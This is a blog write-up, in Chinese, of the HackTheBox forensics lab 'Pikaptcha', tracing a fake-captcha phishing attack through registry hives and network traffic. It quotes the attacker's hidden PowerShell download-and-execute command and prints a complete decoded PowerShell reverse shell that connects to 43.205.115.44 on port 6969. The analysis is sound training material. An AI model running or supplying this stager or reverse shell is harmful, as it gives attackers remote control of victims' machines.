HTB-Pikaptcha

本文最后更新于 2025年4月13日 凌晨

关于 Windows 的注册表取证

Description

Happy Grunwald contacted the sysadmin, Alonzo, because of issues he had downloading the latest version of Microsoft Office. He had received an email saying he needed to update, and clicked the link to do it. He reported that he visited the website and solved a captcha, but no office download page came back. Alonzo, who himself was bombarded with phishing attacks last year and was now aware of attacker tactics, immediately notified the security team to isolate the machine as he suspected an attack. You are provided with network traffic and endpoint artifacts to answer questions about what happened.

分析用户 happy grunwald 的注册表配置单元,查找其下载并执行 stager 的完整命令

tree 一下发现文件中有多个用户(实际上也只用了一个)

Registry Explorer 打开 Pikaptcha\2024-09-23T052209_alert_mssp_action\C\Users\happy.grunwald 下的 NTUSER.DAT 文件,访问 RunMRU 文件夹,找到命令

1
powershell -NoP -NonI -W Hidden -Exec Bypass -Command "IEX(New-Object Net.WebClient).DownloadString('http://43.205.115.44/office2024install.ps1')"
  • NoP:NoProfile,不加载 PowerShell 配置文件,快速启动
  • NonI:Nonlnteractive,非交互模式
  • W Hidden:WindowStyle Hidden,隐藏 PowerShell 窗口,让用户无法察觉程序运行
  • Exec Bypass:ExecutionPolicy Bypass,绕过系统脚本执行策略
  • Command中的 IRX:Invoke-Expression,直接执行下载的脚本

整个命令的作用就是:下载来自 IP 43.205.115.44office2024install.ps1 脚本,但下载和执行都被隐藏了

payload 执行的 UTC 时间

1
2024-09-23 05:07:45

找出该脚本的 SHA256 哈希值

加载流量包,导出关于 office2024install.ps1 的文件

获取 hash 值

1
579284442094e1a44bea9cfb7d8d794c8977714f827c97bcb2822a97742914de

反向 shell 连接的端口

office2024install.ps1 文件内容解码

1
2
3
4
5
6
7
8
9
10
11
12
13
$client = New - Object System.Net.Sockets.TCPClient("43.205.115.44", 6969);
$stream = $client.GetStream(); [byte[]] $bytes = 0..65535 | %{
0
};
while (($i = $stream.Read($bytes, 0, $bytes.Length)) - ne 0) {;
$data = (New - Object - TypeName System.Text.ASCIIEncoding).GetString($bytes, 0, $i);
$sendback = (iex $data 2 > &1 | Out - String);
$sendback2 = $sendback + "PS " + (pwd).Path + "> ";
$sendbyte = ([text.encoding] : :ASCII).GetBytes($sendback2);
$stream.Write($sendbyte, 0, $sendbyte.Length);
$stream.Flush()
};
$client.Close()

从中可以看出端口是 6969

1
6969

C2 和工作站之间的反向 shell 连接建立持续时间

因为前面已经找到反向 shell 的端口号了,所以直接过滤就行

1
tcp.port==6969

根据详细判断开始和结束时间,然后直接相减得到 403 s

1
403

包含 payload 的函数名称

过滤 IP 和端口,追踪 TCP 流发现下载 BloodHound 执行了 SharpHound.ps1 文件输出到 Windows 的 tmp 目录

1
ip.addr==43.205.115.44 && tcp.port==6969

这是一个能映射和量化 Active Directory 攻击路径的工具 , 但是在此并没有什么危害

过滤 http 数据包

1
http&&ip.addr==43.205.115.44

追踪 HTTP 流,发现 stageClipboard() 函数包含了 payload 命令

所以为

1
stageClipboard

HTB-Pikaptcha
http://example.com/2025/04/13/HTB-Pikaptcha/
作者
butt3rf1y
发布于
2025年4月13日
许可协议